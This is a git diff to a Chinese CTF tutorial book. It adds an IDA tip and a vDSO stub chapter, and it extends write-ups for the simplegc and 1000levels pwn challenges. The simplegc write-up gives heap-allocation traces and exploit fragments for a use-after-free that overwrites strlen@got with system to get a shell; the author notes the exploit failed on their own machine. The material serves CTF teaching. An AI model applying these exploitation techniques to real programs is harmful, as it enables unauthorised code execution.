diff --git a/SUMMARY.md b/SUMMARY.md index d2034d2..6ef00e4 100644 --- a/SUMMARY.md +++ b/SUMMARY.md @@ -92,6 +92,7 @@ GitHub 地址:https://github.com/firmianay/CTF-All-In-One * [4.12 利用 __stack_chk_fail](doc/4.12_stack_chk_fail.md) * [4.13 利用 _IO_FILE 结构](doc/4.13_io_file.md) * [4.14 glibc tcache 机制](doc/4.14_glibc_tcache.md) + * [4.15 利用 vsyscall 和 vDSO](doc/4.15_vsyscall_vdso.md) * [五、高级篇](doc/5_advanced.md) * [5.0 软件漏洞分析](doc/5.0_vulnerability.md) * [5.1 模糊测试](doc/5.1_fuzzing.md) diff --git a/doc/2.6_idapro.md b/doc/2.6_idapro.md index fdd5f5d..995b683 100644 --- a/doc/2.6_idapro.md +++ b/doc/2.6_idapro.md @@ -2,6 +2,7 @@ - [常用插件](#常用插件) - [常用脚本](#常用脚本) +- [技巧](#技巧) ## 常用插件 @@ -27,9 +28,7 @@ ## 常用脚本 - #### 内存 dump 脚本 - 调试程序时偶尔会需要 dump 内存,但 IDA Pro 没有直接提供此功能,可以通过脚本来实现。 ```python import idaapi @@ -39,3 +38,15 @@ fp = open('path/to/dump', 'wb') fp.write(data) fp.close() ``` + + +## 技巧 +#### 堆栈不平衡 +某些函数在使用 f5 进行反编译时,会提示错误 "sp-analysis failed",导致无法正确反编译。原因可能是在代码执行中的 pop、push 操作不匹配,导致解析的时候 esp 发生错误。 + +解决办法步骤如下: +1. 用 Option->General->Disassembly, 将选项 Stack pointer 打钩 +2. 仔细观察每条 call sub_xxxxxx 前后的堆栈指针是否平衡 +3. 有时还要看被调用的 sub_xxxxxx 内部的堆栈情况,主要是看入栈的参数与 ret xx 是否匹配 +4. 注意观察 jmp 指令前后的堆栈是否有变化 +5. 有时用 Edit->Functions->Edit function...,然后点击 OK 刷一下函数定义 diff --git a/doc/4.15_vsyscall_vdso.md b/doc/4.15_vsyscall_vdso.md new file mode 100644 index 0000000..6b1916f --- /dev/null +++ b/doc/4.15_vsyscall_vdso.md @@ -0,0 +1,14 @@ +# 4.15 利用 vsyscall 和 vDSO + + +- [CTF 实例](#ctf-实例) +- [参考资料](#参考资料) + + +## CTF 实例 +例如章节 6.1.6 的 ret2vdso。 + + +## 参考资料 +- `man vdso` +- [Creating a vDSO: the Colonel's Other Chicken](https://www.linuxjournal.com/content/creating-vdso-colonels-other-chicken) diff --git a/doc/4.6_one-gadget_rce.md b/doc/4.6_one-gadget_rce.md index 9c65568..1afb8f7 100644 --- a/doc/4.6_one-gadget_rce.md +++ b/doc/4.6_one-gadget_rce.md @@ -5,6 +5,9 @@ one-gadget RCE 是在 libc 中存在的一些执行 `execve('/bin/sh', NULL, NUL 可以使用工具 [one_gadget](https://github.com/david942j/one_gadget) 很方便地查找 one-gadget: ``` +$ sudo gem install one_gadget +``` +``` $ file /usr/lib/libc-2.26.so /usr/lib/libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /usr/lib/ld-linux-x86-64.so.2, BuildID[sha1]=466056d0995495995ad1a1fe696c9dc7fb3d421b, for GNU/Linux 3.2.0, not stripped $ one_gadget -f /usr/lib/libc-2.26.so diff --git a/doc/4_tips.md b/doc/4_tips.md index cf99b70..2c19278 100644 --- a/doc/4_tips.md +++ b/doc/4_tips.md @@ -14,3 +14,4 @@ - [4.12 利用 __stack_chk_fail](4.12_stack_chk_fail.md) - [4.13 利用 _IO_FILE 结构](4.13_io_file.md) - [4.14 glibc tcache 机制](4.14_glibc_tcache.md) +- [4.15 利用 vsyscall 和 vDSO](4.15_vsyscall_vdso.md) diff --git a/doc/6.1.15_pwn_34c3ctf2017_simplegc.md b/doc/6.1.15_pwn_34c3ctf2017_simplegc.md index 4685bcb..b128dd3 100644 --- a/doc/6.1.15_pwn_34c3ctf2017_simplegc.md +++ b/doc/6.1.15_pwn_34c3ctf2017_simplegc.md @@ -2,7 +2,8 @@ - [题目复现](#题目复现) - [题目解析](#题目解析) -- [Exploit](#exploit) +- [Exploit one](#exploit-one) +- [Exploit two](#exploit-two) - [参考资料](#参考资料) @@ -15,8 +16,9 @@ sgc: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, in $ checksec -f sgc RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO Canary found NX enabled No PIE No RPATH No RUNPATH Yes 0 4 sgc -$ file libc-2.26.so -libc-2.26.so: ELF 64-bit LSB shared object, x86-64, version 1 (GNU/Linux), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=6d2b609f0c8e7b338f767b08c5ac712fac809d31, for GNU/Linux 3.2.0, stripped +$ strings libc-2.26.so | grep "GNU C" +GNU C Library (Ubuntu GLIBC 2.26-0ubuntu2) stable release version 2.26, by Roland McGrath et al. +Compiled by GNU CC version 6.4.0 20171010. ``` 一看 libc-2.26,请参考章节 4.14,tcache 了解一下。然后程序开启了 Canary 和 NX。 @@ -702,6 +704,11 @@ struct group *groups[0x60]; // 0x6023e0 - ref_count 类型为 uint8_t 且在修改组是不会减 1,将导致溢出(例如:0x100 和 0x0),使 GC 进行释放 group 的操作 - 如果有两个同名的 group,两个 user 分别指向这两个 group,那么释放其中一个 user 时,另一个也会被释放,造成 UAF +然后是关于 tcache 的问题。在这个程序中有两个线程,thread-1 为主线程,thread-2 为 GC 线程,它们都有自己的 tcache。程序中所有 chunk 的分配工作都由 thread-1 执行,thread-2 只释放(group和group_name)不分配,所以在它的 tcache bins 被装满以后所有该线程释放的 fast chunk 都被放进 fastbins 中。而 fastbins 是进程公用的,所以会被主线程在分配时使用。 + +## Exploit one +第一种方法,我们利用 ref_count 溢出的 UAF。 + #### overflow 首先我们来溢出 ref_count: ```python @@ -715,6 +722,88 @@ def overflow(): add_user('a'*8, 'A'*4) # overflow ref_count sleep(2) # group_name and group freed by GC ``` + +首先说一下 for 循环,前几次当 thread-2 的 tcache 还未装满时,它的操作和下面类似(顺序可能不同): +``` +user: malloc(24)=0x6033c0 <= thread-1 tcache +name: malloc(9)=0x6034a0 +group_name: malloc(24)=0x6034c0 +group: malloc(16)=0x6034e0 + +user: free(0x6033c0) => thread-1 tcache + +group_name: free(0x6034c0) => thread-2 tcache +group: free(0x6034e0) => thread-2 tcache +``` +当 thread-2 tcache 装满时,它释放的 chunk 都会被放进 fastbins,于是就可以被 thread-1 取出,下面是第 4 和 第 5 次循环: +``` +user: malloc(24)=0x6033c0 <= thread-1 tcache +name: malloc(9)=0x603500 +group_name: malloc(24)=0x603520 +group: malloc(16)=0x603540 + +user: free(0x6033c0) => thread-1 tcache + +group_name: free(0x603520) => thread-2 tcache +group: free(0x603540) => fastbin +``` +``` +user: malloc(24)=0x6033c0 <= thread-1 tcache +name: malloc(9)=0x603540 <== fastbin +group_name: malloc(24)=0x603560 +group: malloc(16)=0x603580 + +user: free(0x6033c0) => thread-1 tcache + +group_name: free(0x603560) => fastbin +group: free(0x603580) => fastbin +``` +此时的 thread-1 tcache 和 fastbin 如下所示: +``` +tcache: 0x6033c0 +fastbin: 0x603560 -> 0x603580 +``` +于是第 6 次循环,在第一次从 fastbin 中取出 chunk 后,剩余的 chunk 会被放入 thread-1 tcache(逆序),然后再从 tcache 里取(FILO): +``` +user: malloc(24)=0x6033c0 <= tcache +name: malloc(9)=0x603580 <= fastbin (tcache: 0x603560) +group_name: malloc(24)=0x603560 <= tcache +group: malloc(16)=0x6035a0 + +user: free(0x6033c0) => tcache + +group_name: free(0x603560) => fastbin +group: free(0x6035a0) => fastbin +``` +再往后,其实都是重复这个过程。循环结束时的状态为: +``` +gdb-peda$ x/4gx 0x6020e0 +0x6020e0: 0x0000000000000000 0x0000000000000000 <-- users[] +0x6020f0: 0x0000000000000000 0x0000000000000000 +gdb-peda$ x/4gx 0x6023e0 +0x6023e0: 0x00000000006033a0 0x0000000000000000 <-- groups[] +0x6023f0: 0x0000000000000000 0x0000000000000000 +gdb-peda$ x/2gx 0x6033a0 +0x6033a0: 0x0000000000603380 0x00000000000000ff <-- ref_count +gdb-peda$ x/2gx 0x603380 +0x603380: 0x0000000041414141 0x0000000000000000 <-- group_name +``` +``` +tcache: 0x6033c0 +fastbin: 0x603560 -> 0x6054c0 +``` +紧接着我们再添加一个 user,导致 ref_count 溢出为 `0x100` 后,程序只有只有将低位的 `0x00` 放回 `ref_count`,于是 GC 会将 group_name 和 group struct 依次释放,放进 fastbin。 +``` +user: malloc(24)=0x6033c0 <= tcache +name: malloc(9)=0x6054c0 <= fastbin (tcache: 0x603560 ; fastbin: ) + +fake group_name: free(0x603380) => fastbin (tcache: 0x603560 ; fastbin: 0x603380) +fake group: free(0x6033a0) => fastbin (tcache: 0x603560 ; fastbin: 0x603380 -> 0x6033a0) + +group_name: malloc(24)=0x603560 <= tcache (tcache: ; fastbin: 0x603380 -> 0x6033a0) +group: malloc(16)=0x6033a0 <= fastbin (tcache: 0x603380 ; fastbin: ) +``` +最终结果为: ``` gdb-peda$ x/4gx 0x6020e0 0x6020e0: 0x00000000006033c0 0x0000000000000000 <-- users[] @@ -724,17 +813,18 @@ gdb-peda$ x/4gx 0x6023e0 0x6023f0: 0x0000000000000000 0x0000000000000000 gdb-peda$ x/3gx 0x6033c0 0x6033c0: 0x0000000000000003 0x00000000006054c0 <-- users[0] -0x6033d0: 0x0000000000603380 <-- users[0]->group +0x6033d0: 0x0000000000603380 <-- users[0]->group gdb-peda$ x/2gx 0x603380 -0x603380: 0x0000000000000000 0x0000000000000000 <-- group_name <-- ref_count +0x603380: 0x0000000000000000 0x0000000000000000 <-- ref_count ``` -可以看到,当我们将 ref_count 溢出为 `0x100` 后,程序只有只有将地位的 `0x00` 放回 `ref_count`,于是 GC 会将 group_name 和 group struct 依次释放,并将 groups[0] 赋值为 0,表现为 groups[] 为空。但 users[0] 依然存在,users[0]->group 依然指向 `group_name`(`0x603380`),悬指针产生。 + +最后将 groups[0] 赋值为 0,表现为 groups[] 为空。但 users[0] 依然存在,users[0]->group 依然指向 `group_name`(`0x603380`),悬指针产生。 #### uaf and leak 接下来利用悬指针泄漏 libc 的地址: ```python def leak(): - add_user('b'*32, 'B'*4) # group + add_user('b'*8, 'B'*4) # group strlen_got = elf.got['strlen'] edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got)) @@ -747,7 +837,11 @@ def leak(): return system_addr ``` -首先添加一个 user,神奇的是这个 user struct 正好就是被释放的 group,所以修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示: +在执行该函数前的 tcache 如下: +``` +tcache: 0x603380 +``` +当我们添加一个 user 时,因为 group "BBBB" 不存在,所以首先创建一个 group,然后再创建 user,这个 user struct 将从 thread-1 tcache 中取出。接下来我们修改 user[0]->group 就是修改 user[1]。我们将 strlen@got 写进去,在延迟绑定之后,它将指向 strlen 函数的地址,如下所示: ``` gdb-peda$ x/4gx 0x6020e0 0x6020e0: 0x00000000006033c0 0x0000000000603380 <-- users[] @@ -809,54 +903,6 @@ gdb-peda$ x/gx 0x602030 gdb-peda$ p system $1 = {} 0x7ffff7a3fdc0 ``` -``` -gdb-peda$ si -[----------------------------------registers-----------------------------------] -RAX: 0x7fffffffec20 --> 0x68732f6e69622f ('/bin/sh') -RBX: 0x2 -RCX: 0x7ffff7dd2c20 --> 0x0 -RDX: 0x3 -RSI: 0x0 -RDI: 0x7fffffffec20 --> 0x68732f6e69622f ('/bin/sh') -RBP: 0x7fffffffed40 --> 0x7fffffffed70 --> 0x4015b0 (push r15) -RSP: 0x7fffffffebc8 --> 0x400f2c (add eax,0x1) -RIP: 0x400960 (: jmp QWORD PTR [rip+0x2016ca] # 0x602030) -R8 : 0x0 -R9 : 0x605510 --> 0x3 -R10: 0xffffffffffffffb0 -R11: 0x7ffff7b86b40 --> 0x2000200020002 -R12: 0x400a60 (xor ebp,ebp) -R13: 0x7fffffffee50 --> 0x1 -R14: 0x0 -R15: 0x0 -EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) -[-------------------------------------code-------------------------------------] - 0x400950 : jmp QWORD PTR [rip+0x2016d2] # 0x602028 - 0x400956 : push 0x2 - 0x40095b : jmp 0x400920 -=> 0x400960 : jmp QWORD PTR [rip+0x2016ca] # 0x602030 - | 0x400966 : push 0x3 - | 0x40096b : jmp 0x400920 - | 0x400970 <__stack_chk_fail@plt>: jmp QWORD PTR [rip+0x2016c2] # 0x602038 - | 0x400976 <__stack_chk_fail@plt+6>: push 0x4 - |-> 0x7ffff7a3fdc0 : test rdi,rdi - 0x7ffff7a3fdc3 : je 0x7ffff7a3fdd0 - 0x7ffff7a3fdc5 : jmp 0x7ffff7a3f820 - 0x7ffff7a3fdca : nop WORD PTR [rax+rax*1+0x0] - JUMP is taken -[------------------------------------stack-------------------------------------] -0000| 0x7fffffffebc8 --> 0x400f2c (add eax,0x1) -0008| 0x7fffffffebd0 --> 0x400a60 (xor ebp,ebp) -0016| 0x7fffffffebd8 --> 0x27fffffffee50 -0024| 0x7fffffffebe0 --> 0x3 -0032| 0x7fffffffebe8 --> 0x6033a0 --> 0x603560 --> 0x42424242 ('BBBB') -0040| 0x7fffffffebf0 --> 0x33 ('3') -0048| 0x7fffffffebf8 --> 0x7ffff7a54e36 (: mov rcx,QWORD PTR [rsp+0x18]) -0056| 0x7fffffffec00 --> 0x42424242 ('BBBB') -[------------------------------------------------------------------------------] -Legend: code, data, rodata, value -0x0000000000400960 in strlen@plt () -``` #### exploit 完整的 exp 如下: @@ -907,7 +953,7 @@ def overflow(): sleep(2) # group_name and group freed by GC def leak(): - add_user('b'*32, 'B'*4) # group + add_user('b'*8, 'B'*4) # group strlen_got = elf.got['strlen'] edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got)) @@ -934,6 +980,17 @@ if __name__ == "__main__": pwn() ``` +虽然这一切看起来都没有问题,但我在运行的时候 system('/bin/sh') 却执行失败了,应该是我的 /bin/sh 不能使用这个 libc 的原因: +``` +LD_PRELOAD=./libc-2.26.so /bin/sh +[1] 14834 segmentation fault (core dumped) LD_PRELOAD=./libc-2.26.so /bin/sh +``` +应该换成 Ubuntu-17.10 试试。(本机Arch) + + +## Exploit two +第二种方法,我们利用两个具有同名 group 的 user 释放时的 UAF。这种方法似乎与 tcache 的关系更大一点。 + ## 参考资料 - https://ctftime.org/task/5137 diff --git a/doc/6.1.16_pwn_hitbgsecctf2017_1000levels.md b/doc/6.1.16_pwn_hitbgsecctf2017_1000levels.md index 15475ba..6331bcd 100644 --- a/doc/6.1.16_pwn_hitbgsecctf2017_1000levels.md +++ b/doc/6.1.16_pwn_hitbgsecctf2017_1000levels.md @@ -15,14 +15,319 @@ $ file 1000levels $ checksec -f 1000levels RELRO STACK CANARY NX PIE RPATH RUNPATH FORTIFY Fortified Fortifiable FILE Partial RELRO No canary found NX enabled PIE enabled No RPATH No RUNPATH No 0 6 1000levels -$ strings libc.so.6 | grep -i ubuntu +$ strings libc.so.6 | grep "GNU C" GNU C Library (Ubuntu GLIBC 2.23-0ubuntu9) stable release version 2.23, by Roland McGrath et al. +Compiled by GNU CC version 5.4.0 20160609. ``` +关闭了 Canary,开启 NX 和 PIE。于是猜测可能是栈溢出,但需要绕过 ASLR。not stripped 可以说是很开心了。 + +玩一下: +``` +$ ./1000levels +Welcome to 1000levels, it's much more diffcult than before. +1. Go +2. Hint +3. Give up +Choice: +1 +How many levels? +0 +Coward +Any more? +1 +Let's go!' +==================================================== +Level 1 +Question: 0 * 0 = ? Answer:0 +Great job! You finished 1 levels in 1 seconds +``` +Go 的功能看起来就是让你先输入一个数,然后再输入一个数,两个数相加作为 levels,然后让你做算术。 + +但是很奇怪的是,如果你使用了 Hint 功能,然后第一个数输入了 0 的时候,无论第二个数是多少,仿佛都会出现无限多的 levels: +``` +$ ./1000levels +Welcome to 1000levels, it's much more diffcult than before. +1. Go +2. Hint +3. Give up +Choice: +2 +NO PWN NO FUN +1. Go +2. Hint +3. Give up +Choice: +1 +How many levels? +0 +Coward +Any more? +1 +More levels than before! +Let's go!' +==================================================== +Level 1 +Question: 0 * 0 = ? Answer:0 +==================================================== +Level 2 +Question: 1 * 1 = ? Answer:1 +==================================================== +Level 3 +Question: 1 * 1 = ? Answer:1 +==================================================== +Level 4 +Question: 3 * 1 = ? Answer: +``` +所以应该重点关注一下 Hint 功能。 ## 题目解析 +程序比较简单,基本上只有 Go 和 Hint 两个功能。 + +#### go +``` +[0x000009d0]> pdf @ sym.go +/ (fcn) sym.go 372 +| sym.go (); +| ; var int local_120h @ rbp-0x120 +| ; var int local_118h @ rbp-0x118 +| ; var int local_114h @ rbp-0x114 +| ; var int local_110h @ rbp-0x110 +| ; var int local_108h @ rbp-0x108 +| ; CALL XREF from 0x00000f9f (main) +| 0x00000b7c push rbp +| 0x00000b7d mov rbp, rsp +| 0x00000b80 sub rsp, 0x120 +| 0x00000b87 lea rdi, str.How_many_levels ; 0x1094 ; "How many levels?" +| 0x00000b8e call sym.imp.puts ; int puts(const char *s) +| 0x00000b93 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte) +| 0x00000b98 mov qword [local_120h], rax ; 将第一个数放进 local_120h +| 0x00000b9f mov rax, qword [local_120h] +| 0x00000ba6 test rax, rax +| ,=< 0x00000ba9 jg 0xbb9 +| | 0x00000bab lea rdi, str.Coward ; 0x10a5 ; "Coward" +| | 0x00000bb2 call sym.imp.puts ; int puts(const char *s) +| ,==< 0x00000bb7 jmp 0xbc7 +| || ; JMP XREF from 0x00000ba9 (sym.go) +| |`-> 0x00000bb9 mov rax, qword [local_120h] +| | 0x00000bc0 mov qword [local_110h], rax +| | ; JMP XREF from 0x00000bb7 (sym.go) +| `--> 0x00000bc7 lea rdi, str.Any_more ; 0x10ac ; "Any more?" +| 0x00000bce call sym.imp.puts ; int puts(const char *s) +| 0x00000bd3 call sym.read_num ; ssize_t read(int fildes, void *buf, size_t nbyte) +| 0x00000bd8 mov qword [local_120h], rax +| 0x00000bdf mov rdx, qword [local_110h] +| 0x00000be6 mov rax, qword [local_120h] +| 0x00000bed add rax, rdx ; '(' +| 0x00000bf0 mov qword [local_110h], rax +| 0x00000bf7 mov rax, qword [local_110h] +| 0x00000bfe test rax, rax +| ,=< 0x00000c01 jg 0xc14 +| | 0x00000c03 lea rdi, str.Coward ; 0x10a5 ; "Coward" +| | 0x00000c0a call sym.imp.puts ; int puts(const char *s) +| ,==< 0x00000c0f jmp 0xcee +| |`-> 0x00000c14 mov rax, qword [local_110h] +| | 0x00000c1b cmp rax, 0x3e7 +| |,=< 0x00000c21 jle 0xc3c +| || 0x00000c23 lea rdi, str.More_levels_than_before ; 0x10b6 ; "More levels than before!" +| || 0x00000c2a call sym.imp.puts ; int puts(const char *s) +| || 0x00000c2f mov qword [local_108h], 0x3e8 +| ,===< 0x00000c3a jmp 0xc4a +| ||| ; JMP XREF from 0x00000c21 (sym.go) +| ||`-> 0x00000c3c mov rax, qword [local_110h] +| || 0x00000c43 mov qword [local_108h], rax +| || ; JMP XREF from 0x00000c3a (sym.go) +| `---> 0x00000c4a lea rdi, str.Let_s_go ; 0x10cf ; "Let's go!'" +| | 0x00000c51 call sym.imp.puts ; int puts(const char *s) +| | 0x00000c56 mov edi, 0 +| | 0x00000c5b call sym.imp.time ; time_t time(time_t *timer) +| | 0x00000c60 mov dword [local_118h], eax +| | 0x00000c66 mov rax, qword [local_108h] +| | 0x00000c6d mov edi, eax +| | 0x00000c6f call sym.level_int ; 进入计算题游戏 +| | 0x00000c74 test eax, eax +| | 0x00000c76 setne al +| | 0x00000c79 test al, al +| |,=< 0x00000c7b je 0xcd8 +| || 0x00000c7d mov edi, 0 +| || 0x00000c82 call sym.imp.time ; time_t time(time_t *timer) +| || 0x00000c87 mov dword [local_114h], eax +| || 0x00000c8d mov edx, dword [local_114h] +| || 0x00000c93 mov eax, dword [local_118h] +| || 0x00000c99 sub edx, eax +| || 0x00000c9b mov rax, qword [local_108h] +| || 0x00000ca2 lea rcx, [local_120h] +| || 0x00000ca9 lea rdi, [rcx + 0x20] ; "@" +| || 0x00000cad mov ecx, edx +| || 0x00000caf mov rdx, rax +| || 0x00000cb2 lea rsi, str.Great_job__You_finished__d_levels_in__d_seconds ; 0x10e0 ; "Great job! You finished %d levels in %d seconds\n" +| || 0x00000cb9 mov eax, 0 +| || 0x00000cbe call sym.imp.sprintf ; int sprintf(char *s, +| || 0x00000cc3 lea rax, [local_120h] +| || 0x00000cca add rax, 0x20 +| || 0x00000cce mov rdi, rax +| || 0x00000cd1 call sym.imp.puts ; int puts(const char *s) +| ,===< 0x00000cd6 jmp 0xce4 +| ||| ; JMP XREF from 0x00000c7b (sym.go) +| ||`-> 0x00000cd8 lea rdi, str.You_failed. ; 0x1111 ; "You failed." +| || 0x00000cdf call sym.imp.puts ; int puts(const char *s) +| || ; JMP XREF from 0x00000cd6 (sym.go) +| `---> 0x00000ce4 mov edi, 0 +| | 0x00000ce9 call sym.imp.exit ; void exit(int status) +| | ; JMP XREF from 0x00000c0f (sym.go) +| `--> 0x00000cee leave +\ 0x00000cef ret +``` + +计算题游戏的函数 `sym.level_int()` 如下: +``` +[0x000009d0]> pdf @ sym.level_int +/ (fcn) sym.level_int 289 +| sym.level_int (); +| ; var int local_34h @ rbp-0x34 +| ; var int local_30h @ rbp-0x30 +| ; var int local_28h @ rbp-0x28 +| ; var int local_20h @ rbp-0x20 +| ; var int local_18h @ rbp-0x18 +| ; var int local_10h @ rbp-0x10 +| ; var int local_ch @ rbp-0xc +| ; var int local_8h @ rbp-0x8 +| ; var int local_4h @ rbp-0x4 +| ; CALL XREF from 0x00000c6f (sym.go) +| ; CALL XREF from 0x00000e70 (sym.level_int) +| 0x00000e2d push rbp +| 0x00000e2e mov rbp, rsp +| 0x00000e31 sub rsp, 0x40 ; '@' +| 0x00000e35 mov dword [local_34h], edi +| 0x00000e38 mov qword [local_30h], 0 +| 0x00000e40 mov qword [local_28h], 0 +| 0x00000e48 mov qword [local_20h], 0 +| 0x00000e50 mov qword [local_18h], 0 +| 0x00000e58 cmp dword [local_34h], 0 +| ,=< 0x00000e5c jne 0xe68 +| | 0x00000e5e mov eax, 1 +| ,==< 0x00000e63 jmp 0xf4c +| || ; JMP XREF from 0x00000e5c (sym.level_int) +| |`-> 0x00000e68 mov eax, dword [local_34h] +| | 0x00000e6b sub eax, 1 +| | 0x00000e6e mov edi, eax +| | 0x00000e70 call sym.level_int +| | 0x00000e75 test eax, eax +| | 0x00000e77 sete al +| | 0x00000e7a test al, al +| |,=< 0x00000e7c je 0xe88 +| || 0x00000e7e mov eax, 0 +| ,===< 0x00000e83 jmp 0xf4c +| ||| ; JMP XREF from 0x00000e7c (sym.level_int) +| ||`-> 0x00000e88 call sym.imp.rand ; int rand(void) +| || 0x00000e8d cdq +| || 0x00000e8e idiv dword [local_34h] +| || 0x00000e91 mov dword [local_8h], edx +| || 0x00000e94 call sym.imp.rand ; int rand(void) +| || 0x00000e99 cdq +| || 0x00000e9a idiv dword [local_34h] +| || 0x00000e9d mov dword [local_ch], edx +| || 0x00000ea0 mov eax, dword [local_8h] +| || 0x00000ea3 imul eax, dword [local_ch] +| || 0x00000ea7 mov dword [local_10h], eax +| || 0x00000eaa lea rdi, str. ; 0x1160 ; "====================================================" +| || 0x00000eb1 call sym.imp.puts ; int puts(const char *s) +| || 0x00000eb6 mov eax, dword [local_34h] +| || 0x00000eb9 mov esi, eax +| || 0x00000ebb lea rdi, str.Level__d ; 0x1195 ; "Level %d\n" +| || 0x00000ec2 mov eax, 0 +| || 0x00000ec7 call sym.imp.printf ; int printf(const char *format) +| || 0x00000ecc mov edx, dword [local_ch] +| || 0x00000ecf mov eax, dword [local_8h] +| || 0x00000ed2 mov esi, eax +| || 0x00000ed4 lea rdi, str.Question:__d____d_____Answer: ; 0x119f ; "Question: %d * %d = ? Answer:" +| || 0x00000edb mov eax, 0 +| || 0x00000ee0 call sym.imp.printf ; int printf(const char *format) +| || 0x00000ee5 lea rax, [local_30h] +| || 0x00000ee9 mov edx, 0x400 +| || 0x00000eee mov rsi, rax +| || 0x00000ef1 mov edi, 0 +| || 0x00000ef6 call sym.imp.read ; ssize_t read(int fildes, void *buf, size_t nbyte) +| || 0x00000efb mov dword [local_4h], eax +| || ; JMP XREF from 0x00000f16 (sym.level_int) +| ||.-> 0x00000efe mov eax, dword [local_4h] +| ||: 0x00000f01 and eax, 7 +| ||: 0x00000f04 test eax, eax +| ,====< 0x00000f06 je 0xf18 +| |||: 0x00000f08 mov eax, dword [local_4h] +| |||: 0x00000f0b cdqe +| |||: 0x00000f0d mov byte [rbp + rax - 0x30], 0 +| |||: 0x00000f12 add dword [local_4h], 1 +| |||`=< 0x00000f16 jmp 0xefe +| ||| ; JMP XREF from 0x00000f06 (sym.level_int) +| `----> 0x00000f18 lea rax, [local_30h] +| || 0x00000f1c mov edx, 0xa +| || 0x00000f21 mov esi, 0 +| || 0x00000f26 mov rdi, rax +| || 0x00000f29 call sym.imp.strtol ; long strtol(const char *str, char**endptr, int base) +| || 0x00000f2e mov rdx, rax +| || 0x00000f31 mov eax, dword [local_10h] +| || 0x00000f34 cdqe +| || 0x00000f36 cmp rdx, rax +| || 0x00000f39 sete al +| || 0x00000f3c test al, al +| ||,=< 0x00000f3e je 0xf47 +| ||| 0x00000f40 mov eax, 1 +| ,====< 0x00000f45 jmp 0xf4c +| |||| ; JMP XREF from 0x00000f3e (sym.level_int) +| |||`-> 0x00000f47 mov eax, 0 +| ||| ; JMP XREF from 0x00000f45 (sym.level_int) +| ||| ; JMP XREF from 0x00000e83 (sym.level_int) +| ||| ; JMP XREF from 0x00000e63 (sym.level_int) +| ```--> 0x00000f4c leave +\ 0x00000f4d ret +``` + +#### hint +``` +[0x000009d0]> pdf @ sym.hint +/ (fcn) sym.hint 140 +| sym.hint (); +| ; var int local_110h @ rbp-0x110 +| ; CALL XREF from 0x00000fa6 (main) +| 0x00000cf0 push rbp +| 0x00000cf1 mov rbp, rsp +| 0x00000cf4 sub rsp, 0x110 +| 0x00000cfb mov rax, qword [reloc.system] ; [0x201fd0:8]=0 +| 0x00000d02 mov qword [local_110h], rax +| 0x00000d09 lea rax, obj.show_hint ; 0x20208c +| 0x00000d10 mov eax, dword [rax] +| 0x00000d12 test eax, eax +| ,=< 0x00000d14 je 0xd41 +| | 0x00000d16 mov rax, qword [local_110h] +| | 0x00000d1d lea rdx, [local_110h] +| | 0x00000d24 lea rcx, [rdx + 8] +| | 0x00000d28 mov rdx, rax +| | 0x00000d2b lea rsi, str.Hint:__p ; 0x111d ; "Hint: %p\n" +| | 0x00000d32 mov rdi, rcx +| | 0x00000d35 mov eax, 0 +| | 0x00000d3a call sym.imp.sprintf ; int sprintf(char *s, +| ,==< 0x00000d3f jmp 0xd66 +| || ; JMP XREF from 0x00000d14 (sym.hint) +| |`-> 0x00000d41 lea rax, [local_110h] +| | 0x00000d48 add rax, 8 +| | 0x00000d4c movabs rsi, 0x4e204e5750204f4e +| | 0x00000d56 mov qword [rax], rsi +| | 0x00000d59 mov dword [rax + 8], 0x5546204f ; [0x5546204f:4]=-1 +| | 0x00000d60 mov word [rax + 0xc], 0x4e ; 'N' ; [0x4e:2]=0 +| | ; JMP XREF from 0x00000d3f (sym.hint) +| `--> 0x00000d66 lea rax, [local_110h] +| 0x00000d6d add rax, 8 +| 0x00000d71 mov rdi, rax +| 0x00000d74 call sym.imp.puts ; int puts(const char *s) +| 0x00000d79 nop +| 0x00000d7a leave +\ 0x00000d7b ret +``` + ## Exploit + ## 参考资料 - https://ctftime.org/task/4539 diff --git a/src/writeup/6.1.15_pwn_34c3ctf2017_simplegc/exp.py b/src/writeup/6.1.15_pwn_34c3ctf2017_simplegc/exp_one.py similarity index 98% rename from src/writeup/6.1.15_pwn_34c3ctf2017_simplegc/exp.py rename to src/writeup/6.1.15_pwn_34c3ctf2017_simplegc/exp_one.py index d53e684..c8b793f 100644 --- a/src/writeup/6.1.15_pwn_34c3ctf2017_simplegc/exp.py +++ b/src/writeup/6.1.15_pwn_34c3ctf2017_simplegc/exp_one.py @@ -44,7 +44,7 @@ def overflow(): sleep(2) # group_name and group freed by GC def leak(): - add_user('b'*32, 'B'*4) # group + add_user('b'*8, 'B'*4) # group strlen_got = elf.got['strlen'] edit_group(0, "y", p64(0)+p64(strlen_got)+p64(strlen_got))